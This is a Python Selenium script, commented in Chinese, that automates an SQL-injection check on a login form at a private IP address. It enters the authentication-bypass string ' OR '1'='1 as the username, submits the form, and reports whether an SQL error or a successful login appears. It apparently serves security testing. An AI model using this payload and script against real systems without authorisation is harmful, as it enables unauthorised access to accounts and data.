import time
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
from selenium.common.exceptions import NoSuchElementException, TimeoutException

# 初始化WebDriver
driver = webdriver.Edge()

# SQL注入测试函数
def test_sql_injection():
    # 目标URL
    target_url = "http://10.90.42.223:9999/login"
    driver.get(target_url)
    driver.maximize_window()
    wait = WebDriverWait(driver, 10)

    try:
        # 定位用户名和密码输入框
        user_name = wait.until(
            EC.presence_of_element_located((By.XPATH, '/html/body/div[1]/div/div/div/form/div[1]/div/div/div/input'))
        )
        user_password = wait.until(
            EC.presence_of_element_located((By.XPATH, "/html/body/div[1]/div/div/div/form/div[2]/div/div/div/input"))
        )
        login_button = wait.until(
            EC.element_to_be_clickable((By.XPATH, "/html/body/div[1]/div/div/div/form/button"))
        )

        # 输入SQL注入测试字符串
        user_name.send_keys("' OR '1'='1")  # SQL注入测试字符串
        time.sleep(1)
        user_password.send_keys("123456")   # 密码可以是任意值
        time.sleep(1)
        login_button.click()

        # 等待页面加载完成
        time.sleep(5)

        # 检查页面是否显示错误信息或异常行为
        try:
            # 检查是否出现SQL错误信息（根据目标系统实际情况调整）
            error_message = wait.until(
                EC.presence_of_element_located((By.XPATH, "//div[contains(text(), 'SQL error')]"))
            )
            print("SQL注入漏洞可能存在！错误信息：", error_message.text)
        except (NoSuchElementException, TimeoutException):
            # 如果没有找到错误信息，检查是否登录成功
            try:
                # 检查是否登录成功（根据目标系统实际情况调整）
                success_message = wait.until(
                    EC.presence_of_element_located((By.XPATH, "//div[contains(text(), '登录成功')]"))
                )
                print("SQL注入漏洞可能存在！登录成功：", success_message.text)
            except (NoSuchElementException, TimeoutException):
                print("未检测到SQL注入漏洞或目标系统未返回预期响应。")

    except Exception as e:
        print("测试过程中发生异常：", e)
    finally:
        driver.quit()

if __name__ == '__main__':
    test_sql_injection()